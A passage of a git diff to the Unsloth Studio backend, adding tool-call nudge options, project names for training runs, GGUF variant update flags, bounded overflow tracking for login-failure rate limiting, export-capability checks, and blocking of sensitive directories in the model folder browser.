"auth, UI/server mode) are rejected. Ignored for non-GGUF models."
),
)
@ -781,6 +780,16 @@ class ChatCompletionRequest(BaseModel):
True,
description = "[x-unsloth] Auto-detect and fix malformed tool calls from model output.",
)
nudge_tool_calls: Optional[bool] = Field(
None,
description = (
"[x-unsloth] Opt-in, non-streaming client-tool passthrough only: when the "
"model emitted a tool signal that healing could not repair, retry ONCE with "
"a short nudge appended (the retry shares the full prompt prefix, so the "
"server's KV cache is reused). Default off; UNSLOTH_TOOL_CALL_NUDGE=1 flips "
"the process default."
),
)
context_overflow: Optional[Literal["error", "truncate_middle"]] = Field(
None,
description = (
@ -1613,6 +1622,14 @@ class AnthropicMessagesRequest(BaseModel):
False,
description = "[x-unsloth] Bypass Permissions: when true, disable the python/terminal execution sandbox (safety checks, command blocklist, resource limits) for server-side tool calls. Secret env vars are still stripped. Declared explicitly (not relied on via extra='allow') so omitted requests default to False instead of raising AttributeError.",
)
auto_heal_tool_calls: Optional[bool] = Field(
True,
description = "[x-unsloth] Auto-detect and fix malformed tool calls from model output (mirrors the Chat Completions field; applies to the client-tool passthrough).",
)
nudge_tool_calls: Optional[bool] = Field(
None,
description = "[x-unsloth] Opt-in, non-streaming only: retry once with a nudge when the model emitted a tool signal healing could not repair (mirrors the Chat Completions field).",
)
model_config = {"extra": "allow"}
@model_validator(mode = "before")

4
studio/backend/models/models.py
View file

@ -136,9 +136,13 @@ class GgufVariantDetail(BaseModel):
filename: str = Field(..., description = "GGUF filename (e.g., 'gemma-3-4b-it-Q4_K_M.gguf')")
quant: str = Field(..., description = "Quantization label (e.g., 'Q4_K_M')")
size_bytes: int = Field(0, description = "File size in bytes")
download_size_bytes: int = Field(0, description = "Total bytes needed to download this variant")
downloaded: bool = Field(
False, description = "Whether this variant is already in the local HF cache"
)
update_available: bool = Field(
False, description = "Whether a newer version of this variant is available on HF"
)
class GgufVariantsResponse(BaseModel):

13
studio/backend/models/training.py
View file

@ -9,6 +9,8 @@ import re
from pydantic import BaseModel, ConfigDict, Field, field_validator, model_validator
from typing import Any, Optional, List, Dict, Literal
from utils.training_runs import normalize_project_name
# ASCII integer, optional single sign. Rejects "++512" and Unicode digits
# ("５１２") that slip through str.isdigit() + int().
@ -97,6 +99,11 @@ class TrainingStartRequest(BaseModel):
model_name: str = Field(
..., description = "Model identifier (e.g., 'unsloth/llama-3-8b-bnb-4bit')"
)
project_name: Optional[str] = Field(
None,
max_length = 80,
description = "Optional user-defined project name appended to run folders and shown in history",
)
training_type: Literal["LoRA/QLoRA", "Full Finetuning", "Continued Pretraining"] = Field(
...,
description = "Training type: 'LoRA/QLoRA', 'Full Finetuning', or 'Continued Pretraining'",
@ -155,6 +162,11 @@ class TrainingStartRequest(BaseModel):
values.setdefault("train_split", values.pop("split"))
return values
@field_validator("project_name")
@classmethod
def _normalize_project_name(cls, value: Optional[str]) -> Optional[str]:
return normalize_project_name(value)
# NOTE: pydantic runs all `mode="after"` validators in definition order. A
# second one, `_check_steps_or_epochs`, is defined lower in this class; keep
# these cross-field checks order-independent so the two stay decoupled.
@ -588,6 +600,7 @@ class TrainingRunSummary(BaseModel):
id: str
status: Literal["running", "completed", "stopped", "error"]
model_name: str
project_name: Optional[str] = None
dataset_name: str
display_name: Optional[str] = None
started_at: str

5
studio/backend/requirements/no-torch-runtime.txt
View file

@ -73,4 +73,9 @@ pillow
# this file installs --no-deps; without them Studio runs with RAG disabled.
sqlite-vec==0.1.9
pymupdf==1.27.2.3
# 0.3.x keeps pymupdf-layout (which pulls onnxruntime) an optional extra; the
# lockstep 1.27.x line makes it a hard dep we do not need for to_markdown().
pymupdf4llm==0.3.4
python-docx==1.2.0
lxml==6.0.2

3
studio/backend/requirements/studio.txt
View file

@ -22,4 +22,7 @@ fastmcp>=3.0.2
# extras-no-deps.txt; these add the lexical+dense store and document parsing.
sqlite-vec==0.1.9
pymupdf==1.27.2.3
# 0.3.x keeps pymupdf-layout (which pulls onnxruntime) an optional extra; the
# lockstep 1.27.x line makes it a hard dep we do not need for to_markdown().
pymupdf4llm==0.3.4
python-docx==1.2.0

137
studio/backend/routes/auth.py
View file

@ -74,9 +74,81 @@ _LOGIN_WINDOW_SECONDS = 60.0
_LOGIN_MAX_FAILS = 5
_LOGIN_IP_MAX_FAILS = 30
_LOGIN_LOCKOUT_SECONDS = 60
# Bucket-dict cap. On overflow, prune stale entries; if still full the failure
# folds into the per-IP aggregate only.
# Bucket-dict cap. On overflow, reclaim expired buckets; a new IP that still can't
# fit falls back to a sharded overflow rather than evicting a hot bucket.
_LOGIN_MAX_BUCKETS = 4096
# Last full stale-sweep time; rate-limits the O(n) sweep under a burst of new IPs.
_LAST_IP_PRUNE = 0.0
# Sharded overflow for per-IP failures that can't get their own bucket while the
# dict is saturated. Each shard is a small fixed-capacity dict ``ip -> [count,
# window_start]``: a per-IP count (so a source is throttled, and cleared on
# success, by its own failures -- no cross-IP collateral) with hard-bounded
# memory and O(1) lookups. When a shard is full a new IP evicts the lowest-count
# entry (and starts clean, never inheriting its count) rather than growing without
# bound, so a high-cardinality spray can't blow memory/CPU the way a per-failure
# deque could; a persistent attacker keeps a high count and is never the one
# evicted.
_LOGIN_IP_OVERFLOW_SHARDS = 256
_LOGIN_IP_OVERFLOW_MAX = 64 # distinct IPs tracked per shard
_LOGIN_IP_OVERFLOW: list[dict] = [dict() for _ in range(_LOGIN_IP_OVERFLOW_SHARDS)]
def _overflow_shard(ip: str) -> dict:
return _LOGIN_IP_OVERFLOW[hash(ip) % _LOGIN_IP_OVERFLOW_SHARDS]
def _overflow_record(ip: str, now: float) -> int:
"""Record an overflow failure for ``ip`` and return its windowed count."""
shard = _overflow_shard(ip)
entry = shard.get(ip)
if entry is not None:
if now - entry[1] > _LOGIN_WINDOW_SECONDS:
entry[0], entry[1] = 1, now
else:
# Only "at or above the per-IP threshold" matters for blocking, so cap
# the count there. This also keeps the migration into a per-IP bucket
# bounded -- without the cap a saturated source could accrue an
# unbounded count, then materialize one deque entry per failure
# (``[start] * carried``) on the next attempt, allocating an arbitrarily
# large deque while holding the login lock.
entry[0] = min(entry[0] + 1, _LOGIN_IP_MAX_FAILS)
return entry[0]
if len(shard) >= _LOGIN_IP_OVERFLOW_MAX:
# Make room by dropping the lowest-count entry, but the new source starts
# clean -- never inherit the evicted IP's failures, or an unrelated source
# could be 429'd after one attempt. Worst case under a saturated shard is
# that a heavy hitter briefly resets, not that a bystander is blocked.
del shard[min(shard, key = lambda k: shard[k][0])]
shard[ip] = [1, now]
return 1
def _overflow_blocked(ip: str, now: float) -> int:
"""Seconds this IP is throttled by its own overflow count, or 0."""
shard = _overflow_shard(ip)
entry = shard.get(ip)
if entry is None:
return 0
if now - entry[1] > _LOGIN_WINDOW_SECONDS:
del shard[ip]
return 0
if entry[0] >= _LOGIN_IP_MAX_FAILS:
return max(1, int(_LOGIN_WINDOW_SECONDS - (now - entry[1])))
return 0
def _overflow_take(ip: str, now: float) -> tuple[int, float]:
"""Pop ip's overflow entry, returning its ``(count, window_start)`` so the
count can migrate into a fresh per-IP bucket. ``(0, now)`` if none/expired."""
entry = _overflow_shard(ip).pop(ip, None)
if entry is None or now - entry[1] > _LOGIN_WINDOW_SECONDS:
return 0, now
# Cap the carried count so the bucket migration never allocates more than the
# per-IP threshold worth of deque entries (defensive; _overflow_record already
# clamps, but keep the bound at the consumption site too).
return min(entry[0], _LOGIN_IP_MAX_FAILS), entry[1]
# Unrepresentable as a real username (leading NUL); folds unknown-user attempts
# into one slot so attacker cardinality can't blow the bucket dict.
_UNKNOWN_LOGIN_USER = "\x00unknown-user"
@ -169,13 +241,50 @@ def _prune_stale_buckets(now: float) -> None:
_LOGIN_BUCKETS.pop(key, None)
def _prune_stale_ip_buckets(now: float) -> None:
"""Drop empty / expired per-IP buckets to bound memory under spray.
The dict is otherwise reclaimed only on a successful login, so a failure-only
spray from many (or spoofed) IPs would grow it without bound.
"""
stale: list[str] = []
for bucket_ip, bucket in _LOGIN_IP_BUCKETS.items():
_prune_bucket(bucket, now)
if not bucket:
stale.append(bucket_ip)
for bucket_ip in stale:
_LOGIN_IP_BUCKETS.pop(bucket_ip, None)
def _record_login_failure(key: tuple[str, str]) -> int:
global _LAST_IP_PRUNE
now = time.monotonic()
ip, _username = key
with _LOGIN_BUCKETS_LOCK:
ip_bucket = _LOGIN_IP_BUCKETS.setdefault(ip, deque())
_prune_bucket(ip_bucket, now)
ip_bucket.append(now)
# Keep the dict bounded without disabling throttling and without letting a
# spray reset a hot bucket: for a new IP at the cap, reclaim expired buckets
# (rate-limited) to make room.
ip_bucket = _LOGIN_IP_BUCKETS.get(ip)
if ip_bucket is None and len(_LOGIN_IP_BUCKETS) >= _LOGIN_MAX_BUCKETS:
if now - _LAST_IP_PRUNE >= 1.0:
_prune_stale_ip_buckets(now)
_LAST_IP_PRUNE = now
if ip_bucket is None and len(_LOGIN_IP_BUCKETS) >= _LOGIN_MAX_BUCKETS:
# Still full -- every bucket is hot. Count this failure in the IP's
# bounded overflow shard instead of evicting a live one, so the spray
# stays throttled but can't push out (and reset) any IP's own counter.
ip_fails = _overflow_record(ip, now)
else:
if ip_bucket is None:
ip_bucket = _LOGIN_IP_BUCKETS[ip] = deque()
# Carry over any overflow failures this IP accrued while the dict
# was saturated, so straddling the overflow -> bucket transition
# can't double the effective per-IP limit.
carried, start = _overflow_take(ip, now)
ip_bucket.extend([start] * carried)
_prune_bucket(ip_bucket, now)
ip_bucket.append(now)
ip_fails = len(ip_bucket)
if key not in _LOGIN_BUCKETS and len(_LOGIN_BUCKETS) >= _LOGIN_MAX_BUCKETS:
_prune_stale_buckets(now)
@ -184,8 +293,8 @@ def _record_login_failure(key: tuple[str, str]) -> int:
_prune_bucket(account_bucket, now)
account_bucket.append(now)
return len(account_bucket)
# Bucket dict at cap; per-IP cap still applies via ip_bucket.
return len(ip_bucket)
# Both dicts at cap (sustained spray): fall back to the per-IP count.
return ip_fails
def _blocked_for(bucket: deque | None, now: float, max_fails: int) -> int:
@ -202,10 +311,16 @@ def _login_blocked(key: tuple[str, str]) -> int:
now = time.monotonic()
ip, _username = key
with _LOGIN_BUCKETS_LOCK:
return max(
_blocked_for(_LOGIN_BUCKETS.get(key), now, _LOGIN_MAX_FAILS),
# Honor the IP's overflow shard regardless of current dict capacity: a
# source counted there during saturation must stay throttled until those
# failures age out, even if a bucket later frees up -- otherwise a fresh
# bucket would reset it. Shards are empty outside saturation, so this is a
# no-op in the common case.
ip_blocked = max(
_blocked_for(_LOGIN_IP_BUCKETS.get(ip), now, _LOGIN_IP_MAX_FAILS),
_overflow_blocked(ip, now),
)
return max(_blocked_for(_LOGIN_BUCKETS.get(key), now, _LOGIN_MAX_FAILS), ip_blocked)
def _clear_login_bucket(key: tuple[str, str]) -> None:
@ -213,6 +328,10 @@ def _clear_login_bucket(key: tuple[str, str]) -> None:
with _LOGIN_BUCKETS_LOCK:
_LOGIN_BUCKETS.pop(key, None)
_LOGIN_IP_BUCKETS.pop(ip, None)
# A successful login resets the IP's throttle, including any overflow it
# accumulated during saturation (drop only this IP's entry, so a
# shard-mate's throttle is untouched).
_overflow_shard(ip).pop(ip, None)
# Sync def (not async): compute_identity_proof touches SQLite on the first call,

31
studio/backend/routes/data_recipe/seed.py
View file

@ -481,6 +481,37 @@ async def upload_unstructured_file(
error = "No extractable text found in file",
)
extracted_path.write_text(extracted_text, encoding = "utf-8")
except ImportError as e:
raw_path.unlink(missing_ok = True)
extracted_path.unlink(missing_ok = True)
missing = getattr(e, "name", None)
expected_missing = {".pdf": "pymupdf4llm", ".docx": "mammoth"}.get(ext)
if isinstance(e, ModuleNotFoundError) and missing == expected_missing:
logger.error(
"data_recipe.seed.text_extraction_dependency_missing",
error = str(e),
missing = missing,
exc_info = True,
)
return UnstructuredFileUploadResponse(
file_id = file_id,
filename = original_filename,
size_bytes = size_bytes,
status = "error",
error = f"Cannot read {ext} files: the '{missing}' package is not installed.",
)
logger.error(
"data_recipe.seed.text_extraction_failed",
error = str(e),
exc_info = True,
)
return UnstructuredFileUploadResponse(
file_id = file_id,
filename = original_filename,
size_bytes = size_bytes,
status = "error",
error = "Text extraction failed.",
)
except Exception as e:
raw_path.unlink(missing_ok = True)
extracted_path.unlink(missing_ok = True)

28
studio/backend/routes/export.py
View file

@ -46,6 +46,23 @@ router = APIRouter()
logger = get_logger(__name__)
def _ensure_export_supported() -> None:
"""Reject a mutating export request up front (HTTP 400) when the host can't export.
Keeps the backend authoritative even if a client bypasses the UI gate. Read-only endpoints
(scan/status/logs) are intentionally NOT gated so the Export page can still render the reason.
"""
from utils.hardware import export_capability
cap = export_capability()
if not cap.get("export_supported", True):
raise HTTPException(
status_code = 400,
detail = cap.get("export_unsupported_message")
or "Export is not supported on this platform.",
)
@router.post("/load-checkpoint", response_model = ExportOperationResponse)
async def load_checkpoint(
request: LoadCheckpointRequest, current_subject: str = Depends(get_current_subject)
@ -58,6 +75,7 @@ async def load_checkpoint(
a clear error instead of tearing down the user's other running workloads.
"""
try:
_ensure_export_supported()
backend = get_export_backend()
# Run in a worker thread (spawns and waits on a subprocess, can take
# minutes) so the event loop stays free to serve the live log SSE stream.
@ -266,6 +284,7 @@ async def export_merged_model(
Wraps ExportBackend.export_merged_model.
"""
try:
_ensure_export_supported()
backend = get_export_backend()
success, message, output_path = await asyncio.to_thread(
backend.export_merged_model,
@ -275,6 +294,7 @@ async def export_merged_model(
repo_id = request.repo_id,
hf_token = request.hf_token,
private = request.private,
compressed_method = request.compressed_method,
)
if not success:
@ -304,6 +324,7 @@ async def export_base_model(
Wraps ExportBackend.export_base_model.
"""
try:
_ensure_export_supported()
backend = get_export_backend()
success, message, output_path = await asyncio.to_thread(
backend.export_base_model,
@ -342,7 +363,10 @@ async def export_gguf(
Wraps ExportBackend.export_gguf.
"""
try:
_ensure_export_supported()
backend = get_export_backend()
# A custom path wins; otherwise the imatrix toggle requests the upstream auto-download.
imatrix_file = request.imatrix_path or (True if request.imatrix else None)
success, message, output_path = await asyncio.to_thread(
backend.export_gguf,
save_directory = request.save_directory,
@ -350,6 +374,7 @@ async def export_gguf(
push_to_hub = request.push_to_hub,
repo_id = request.repo_id,
hf_token = request.hf_token,
imatrix_file = imatrix_file,
)
if not success:
@ -379,6 +404,7 @@ async def export_lora_adapter(
Wraps ExportBackend.export_lora_adapter.
"""
try:
_ensure_export_supported()
backend = get_export_backend()
success, message, output_path = await asyncio.to_thread(
backend.export_lora_adapter,
@ -387,6 +413,8 @@ async def export_lora_adapter(
repo_id = request.repo_id,
hf_token = request.hf_token,
private = request.private,
gguf = request.gguf,
gguf_outtype = request.gguf_outtype,
)
if not success:

1958
studio/backend/routes/inference.py
View file

File diff suppressed because it is too large Load diff

382
studio/backend/routes/models.py
View file

@ -7,11 +7,13 @@ import asyncio
import hashlib
import json
import os
import re
import shutil
import sys
import uuid
from pathlib import Path
from fastapi import APIRouter, Body, Depends, Header, HTTPException, Query
from pydantic import BaseModel
from typing import List, Optional
import structlog
from loggers import get_logger
@ -22,10 +24,27 @@ import re as _re
_VALID_REPO_ID = _re.compile(r"^[A-Za-z0-9._-]+/[A-Za-z0-9._-]+$")
class CachedModelRepo(BaseModel):
repo_id: str
size_bytes: int
last_modified: Optional[float] = None
class CachedModelsResponse(BaseModel):
cached: List[CachedModelRepo]
def _is_valid_repo_id(repo_id: str) -> bool:
return bool(_VALID_REPO_ID.fullmatch(repo_id))
def _normalize_hf_token(hf_token) -> Optional[str]:
if not isinstance(hf_token, str):
return None
token = hf_token.strip()
return token or None
def _safe_is_dir(path) -> bool:
"""``Path.is_dir()`` returning ``False`` instead of raising.
@ -40,25 +59,51 @@ def _safe_is_dir(path) -> bool:
return False
# Hub repo id shape ("owner/name", no leading separator); anything else is
# treated as a local filesystem path.
_HF_REPO_ID_RE = re.compile(r"^[A-Za-z0-9][\w.\-]*/[\w.\-]+$")
def _is_hidden_model(*values: str | None) -> bool:
"""True if any id/path is the RAG embedding model (EMBEDDING_MODEL or
EMBED_GGUF_REPO basename) or the llama.cpp install validation probe
(ggml-org/models / stories260K), so pickers hide them (GGUF and non-GGUF).
None are usable chat models; the probe can be cached as a side effect of
installing the prebuilt llama-server and otherwise sorts smallest, so it
would be auto-selected."""
would be auto-selected. A local-path embedder is matched by exact resolved
path only: a generic basename like "model" must not substring-hide
unrelated chat models."""
from core.rag import config as rag_config
needles = (
rag_config.EMBEDDING_MODEL.split("/")[-1].lower(),
rag_config.EMBED_GGUF_REPO.split("/")[-1].lower(),
needles = [
# The validation probe's repo (matches the cached repo id) and its exact
# filename (matches the on-disk path). The filename carries the .gguf so
# it does not hide unrelated repos like ``user/stories260K-finetune-GGUF``.
"ggml-org/models",
"stories260k.gguf",
)
return any(v and any(n in v.lower() for n in needles) for v in values)
]
exact_paths: list[str] = []
for model in (
rag_config.effective_embedding_model(),
rag_config.effective_gguf_repo(),
):
if _HF_REPO_ID_RE.match(model):
needles.append(model.split("/")[-1].lower())
else:
resolved = _safe_resolve(Path(model).expanduser())
if resolved:
exact_paths.append(resolved.lower())
for v in values:
if not v:
continue
low = v.lower()
if any(n in low for n in needles):
return True
if exact_paths:
resolved = _safe_resolve(Path(v).expanduser())
if resolved and resolved.lower() in exact_paths:
return True
return False
def _safe_resolve(path: Path) -> Optional[str]:
@ -74,6 +119,7 @@ if str(backend_path) not in sys.path:
sys.path.insert(0, str(backend_path))
from auth.authentication import get_current_subject
from hub.dependencies import get_hf_token
try:
from utils.models import (
@ -722,6 +768,94 @@ def _scan_ollama_dir(ollama_dir: Path, limit: Optional[int] = None) -> List[Loca
return found
def collect_local_models(models_root: Path) -> List[LocalModelInfo]:
"""Scan ``models_root``, the HF caches, LM Studio dirs, and user scan folders,
returning a deduplicated, hidden-filtered list of discovered local models.
Shared by ``GET /models/local`` (the model picker) and the OpenAI-compatible
catalog (``GET /v1/models``) so the UI and the API never drift. ``models_root``
must already be validated/trusted by the caller.
"""
from storage.studio_db import list_scan_folders
from utils.paths import (
hf_default_cache_dir,
legacy_hf_cache_dir,
lmstudio_model_dirs,
)
hf_cache_dir = _resolve_hf_cache_dir()
legacy_hf = legacy_hf_cache_dir()
hf_default = hf_default_cache_dir()
lm_dirs = lmstudio_model_dirs()
local_models = _scan_models_dir(models_root) + _scan_hf_cache(hf_cache_dir)
# Resolve once; an inaccessible aux cache must skip that scan, not 500.
hf_cache_real = _safe_resolve(hf_cache_dir)
legacy_real = _safe_resolve(legacy_hf)
default_real = _safe_resolve(hf_default)
# Scan legacy Unsloth HF cache for backward compatibility.
if _safe_is_dir(legacy_hf) and legacy_real != hf_cache_real:
local_models += _scan_hf_cache(legacy_hf)
# Scan HF system default cache (may differ under env overrides).
if _safe_is_dir(hf_default) and default_real != hf_cache_real and default_real != legacy_real:
local_models += _scan_hf_cache(hf_default)
# Scan LM Studio directories.
for lm_dir in lm_dirs:
local_models += _scan_lmstudio_dir(lm_dir)
# Scan user-added custom folders (per-folder cap).
_MAX_MODELS_PER_FOLDER = 200
try:
custom_folders = list_scan_folders()
except Exception as e:
logger.warning("Could not load custom scan folders: %s", e)
custom_folders = []
for folder in custom_folders:
folder_path = Path(folder["path"])
try:
# Filter Ollama .studio_links/ from generic scanners to
# avoid duplicates and leaking internal paths into the UI.
_generic = [
m
for m in (
_scan_models_dir(folder_path, limit = _MAX_MODELS_PER_FOLDER)
+ _scan_hf_cache(folder_path)
+ _scan_lmstudio_dir(folder_path)
)
if not any(p in (".studio_links", "ollama_links") for p in Path(m.path).parts)
]
custom_models = _generic
if len(custom_models) < _MAX_MODELS_PER_FOLDER:
custom_models += _scan_ollama_dir(
folder_path,
limit = _MAX_MODELS_PER_FOLDER - len(custom_models),
)
except OSError as e:
logger.warning("Skipping unreadable scan folder %s: %s", folder_path, e)
continue
local_models += [m.model_copy(update = {"source": "custom"}) for m in custom_models]
# Deduplicate, but always keep custom folder entries (keyed by
# (id, source)) so they show in the "Custom Folders" UI section
# even when the model is also in the HF cache.
deduped: dict[str, LocalModelInfo] = {}
for model in local_models:
key = f"{model.id}\x00custom" if model.source == "custom" else model.id
if key not in deduped:
deduped[key] = model
models = sorted(
deduped.values(),
key = lambda item: (item.updated_at or 0),
reverse = True,
)
return [m for m in models if not _is_hidden_model(m.id, m.path)]
@router.get("/local", response_model = LocalModelListResponse)
async def list_local_models(
models_dir: str = Query(
@ -770,78 +904,7 @@ async def list_local_models(
)
try:
local_models = _scan_models_dir(models_root) + _scan_hf_cache(hf_cache_dir)
# Resolve once; an inaccessible aux cache must skip that scan, not 500.
hf_cache_real = _safe_resolve(hf_cache_dir)
legacy_real = _safe_resolve(legacy_hf)
default_real = _safe_resolve(hf_default)
# Scan legacy Unsloth HF cache for backward compatibility.
if _safe_is_dir(legacy_hf) and legacy_real != hf_cache_real:
local_models += _scan_hf_cache(legacy_hf)
# Scan HF system default cache (may differ under env overrides).
if (
_safe_is_dir(hf_default)
and default_real != hf_cache_real
and default_real != legacy_real
):
local_models += _scan_hf_cache(hf_default)
# Scan LM Studio directories.
for lm_dir in lm_dirs:
local_models += _scan_lmstudio_dir(lm_dir)
# Scan user-added custom folders (per-folder cap).
from storage.studio_db import list_scan_folders
_MAX_MODELS_PER_FOLDER = 200
try:
custom_folders = list_scan_folders()
except Exception as e:
logger.warning("Could not load custom scan folders: %s", e)
custom_folders = []
for folder in custom_folders:
folder_path = Path(folder["path"])
try:
# Filter Ollama .studio_links/ from generic scanners to
# avoid duplicates and leaking internal paths into the UI.
_generic = [
m
for m in (
_scan_models_dir(folder_path, limit = _MAX_MODELS_PER_FOLDER)
+ _scan_hf_cache(folder_path)
+ _scan_lmstudio_dir(folder_path)
)
if not any(p in (".studio_links", "ollama_links") for p in Path(m.path).parts)
]
custom_models = _generic
if len(custom_models) < _MAX_MODELS_PER_FOLDER:
custom_models += _scan_ollama_dir(
folder_path,
limit = _MAX_MODELS_PER_FOLDER - len(custom_models),
)
except OSError as e:
logger.warning("Skipping unreadable scan folder %s: %s", folder_path, e)
continue
local_models += [m.model_copy(update = {"source": "custom"}) for m in custom_models]
# Deduplicate, but always keep custom folder entries (keyed by
# (id, source)) so they show in the "Custom Folders" UI section
# even when the model is also in the HF cache.
deduped: dict[str, LocalModelInfo] = {}
for model in local_models:
key = f"{model.id}\x00custom" if model.source == "custom" else model.id
if key not in deduped:
deduped[key] = model
models = sorted(
deduped.values(),
key = lambda item: (item.updated_at or 0),
reverse = True,
)
models = [m for m in models if not _is_hidden_model(m.id, m.path)]
models = collect_local_models(models_root)
return LocalModelListResponse(
models_dir = str(models_root),
@ -1139,6 +1202,7 @@ def _build_browse_allowlist() -> list[Path]:
legacy_hf_cache_dir,
well_known_model_dirs,
)
from utils.paths.external_media import linux_run_media_mount_roots
from storage.studio_db import list_scan_folders
candidates: list[Path] = []
@ -1154,6 +1218,8 @@ def _build_browse_allowlist() -> list[Path]:
candidates.append(resolved)
_add(Path.home())
for p in linux_run_media_mount_roots():
_add(p)
_add(_resolve_hf_cache_dir())
try:
_add(hf_default_cache_dir())
@ -1273,6 +1339,8 @@ def _match_browse_child(current: Path, name: str) -> Optional[Path]:
def _resolve_browse_target(path: Optional[str], allowed_roots: list[Path]) -> Path:
"""Resolve a requested browse path by walking from trusted allowlist roots."""
from storage.studio_db import contains_sensitive_path_component
requested_path = _normalize_browse_request_path(path)
resolved_roots: list[Path] = []
seen_roots: set[str] = set()
@ -1323,8 +1391,18 @@ def _resolve_browse_target(path: Optional[str], allowed_roots: list[Path]) -> Pa
"under your home folder."
),
)
if contains_sensitive_path_component(str(resolved_child)):
raise HTTPException(
status_code = 403,
detail = "Credential or configuration directories are not browseable.",
)
current = resolved_child
if contains_sensitive_path_component(str(current)):
raise HTTPException(
status_code = 403,
detail = "Credential or configuration directories are not browseable.",
)
if not current.is_dir():
raise HTTPException(
status_code = 400,
@ -1372,7 +1450,8 @@ async def browse_folders(
then hidden (if ``show_hidden=true``).
"""
from utils.paths import hf_default_cache_dir, well_known_model_dirs
from storage.studio_db import list_scan_folders
from utils.paths.external_media import linux_run_media_mount_roots
from storage.studio_db import contains_sensitive_path_component, list_scan_folders
# Build once; the sandbox check and suggestion chips share it.
allowed_roots = _build_browse_allowlist()
@ -1425,6 +1504,8 @@ async def browse_folders(
is_hidden = name.startswith(".")
if is_hidden and not show_hidden:
continue
if contains_sensitive_path_component(name):
continue
entries.append(
BrowseEntry(
name = name,
@ -1478,6 +1559,8 @@ async def browse_folders(
# Home first -- the safe fallback when everything else is cold.
_add_sug(Path.home())
for p in linux_run_media_mount_roots():
_add_sug(p)
# The HF cache root the process is actually using.
try:
_add_sug(hf_default_cache_dir())
@ -2577,109 +2660,41 @@ async def get_gguf_variants(
..., description = "HuggingFace repo ID (e.g. 'unsloth/gemma-3-4b-it-GGUF')"
),
hf_token: Optional[str] = Query(None, description = "HuggingFace token for private repos"),
hf_token_header: Optional[str] = Depends(get_hf_token),
current_subject: str = Depends(get_current_subject),
):
"""List GGUF quantization variants for a HF repo or local directory.
Returns all variants with file sizes, vision support, and the
recommended default.
"""
"""List GGUF quantization variants for a HF repo or local directory."""
try:
from utils.models.model_config import is_local_path, list_local_gguf_variants
hf_token = _normalize_hf_token(hf_token_header) or _normalize_hf_token(hf_token)
from hub.services.models import gguf_variants as hub_gguf_variants
# Local directory path — scan filesystem.
if is_local_path(repo_id):
variants, has_vision = list_local_gguf_variants(repo_id)
filenames = [v.filename for v in variants]
best = _pick_best_gguf(filenames)
default_variant = _extract_quant_label(best) if best else None
return GgufVariantsResponse(
repo_id = repo_id,
variants = [
GgufVariantDetail(
filename = v.filename,
quant = v.quant,
size_bytes = v.size_bytes,
downloaded = True, # all local variants are downloaded
)
for v in variants
],
has_vision = has_vision,
default_variant = default_variant,
context_length = _read_native_context_length(repo_id, is_local = True),
)
# Remote HuggingFace repo — query HF API.
variants, has_vision = list_gguf_variants(repo_id, hf_token = hf_token)
filenames = [v.filename for v in variants]
best = _pick_best_gguf(filenames)
default_variant = _extract_quant_label(best) if best else None
# Per-snapshot so a split GGUF's shards must all sit in one snapshot;
# mmproj adapters are excluded so they can't inflate a quant's bytes.
cached_bytes_by_quant_per_snapshot: list[dict[str, int]] = []
try:
from huggingface_hub import constants as hf_constants
if not _is_valid_repo_id(repo_id):
raise ValueError(f"Invalid repo_id format: {repo_id}")
cache_dir = Path(hf_constants.HF_HUB_CACHE)
target = f"models--{repo_id.replace('/', '--')}".lower()
for entry in cache_dir.iterdir():
if entry.name.lower() == target:
snapshots = entry / "snapshots"
if snapshots.is_dir():
for snap in snapshots.iterdir():
by_quant: dict[str, int] = {}
for f in _iter_gguf_paths(snap):
if _is_mmproj_filename(f.name):
continue
try:
size = f.stat().st_size
except OSError:
continue # broken symlink / unreadable: skip
rel = f.relative_to(snap).as_posix()
q = _extract_quant_label(rel)
if _is_big_endian_gguf_path(rel, q):
continue
q = q.lower()
by_quant[q] = by_quant.get(q, 0) + size
if by_quant:
cached_bytes_by_quant_per_snapshot.append(by_quant)
break
except Exception:
pass
def _is_fully_downloaded(variant) -> bool:
if variant.size_bytes == 0:
return False
# Complete within one snapshot (tolerance for symlink size jitter).
quant = variant.quant.lower()
return any(
by_quant.get(quant, 0) >= variant.size_bytes * 0.99
for by_quant in cached_bytes_by_quant_per_snapshot
)
response = await hub_gguf_variants.get_gguf_variants_response(
repo_id,
hf_token = hf_token,
)
local = is_local_path(repo_id)
return GgufVariantsResponse(
repo_id = repo_id,
repo_id = response.repo_id,
variants = [
GgufVariantDetail(
filename = v.filename,
quant = v.quant,
size_bytes = v.size_bytes,
downloaded = _is_fully_downloaded(v),
download_size_bytes = int(
getattr(v, "download_size_bytes", v.size_bytes) or v.size_bytes
),
downloaded = bool(v.downloaded),
update_available = bool(getattr(v, "update_available", False)),
)
for v in variants
for v in response.variants
],
has_vision = has_vision,
default_variant = default_variant,
context_length = _read_native_context_length(repo_id, is_local = False),
has_vision = response.has_vision,
default_variant = response.default_variant,
context_length = _read_native_context_length(repo_id, is_local = local),
)
except HTTPException:
raise
except Exception as e:
logger.error(f"Error listing GGUF variants for '{repo_id}': {e}", exc_info = True)
raise HTTPException(
@ -3106,10 +3121,14 @@ async def list_cached_gguf(current_subject: str = Depends(get_current_subject)):
return {"cached": []}
@router.get("/cached-models")
async def list_cached_models(current_subject: str = Depends(get_current_subject)):
@router.get("/cached-models", response_model = CachedModelsResponse)
async def list_cached_models(
current_subject: str = Depends(get_current_subject),
hf_token: Optional[str] = Depends(get_hf_token),
):
"""List non-GGUF model repos downloaded to HF cache, legacy Unsloth cache, and HF default cache."""
_WEIGHT_EXTENSIONS = (".safetensors", ".bin")
hf_token = _normalize_hf_token(hf_token)
try:
cache_scans = _all_hf_cache_scans()
@ -3130,20 +3149,16 @@ async def list_cached_models(current_subject: str = Depends(get_current_subject)
)
if total_size == 0:
continue
has_weights = any(
f.file_name.endswith(_WEIGHT_EXTENSIONS)
weight_files = [
f
for rev in repo_info.revisions
for f in rev.files
)
if not has_weights:
if f.file_name.endswith(_WEIGHT_EXTENSIONS)
]
if not weight_files:
continue
last_modified = max(
(
_blob_mtime(f)
for rev in repo_info.revisions
for f in rev.files
if f.file_name.endswith(_WEIGHT_EXTENSIONS)
),
(_blob_mtime(f) for f in weight_files),
default = 0.0,
)
key = repo_id.lower()
@ -3165,9 +3180,12 @@ async def list_cached_models(current_subject: str = Depends(get_current_subject)
repo_label = getattr(repo_info, "repo_id", "<unknown>")
logger.warning(f"Skipping cached model repo {repo_label}: {e}")
continue
# Newest download first; stable repo_id tie-break for equal/missing mtimes.
rows = list(seen_lower.values())
# Local-only list path: update checks are GGUF-only and happen lazily
# when a repo's variants are viewed.
cached = sorted(
seen_lower.values(),
rows,
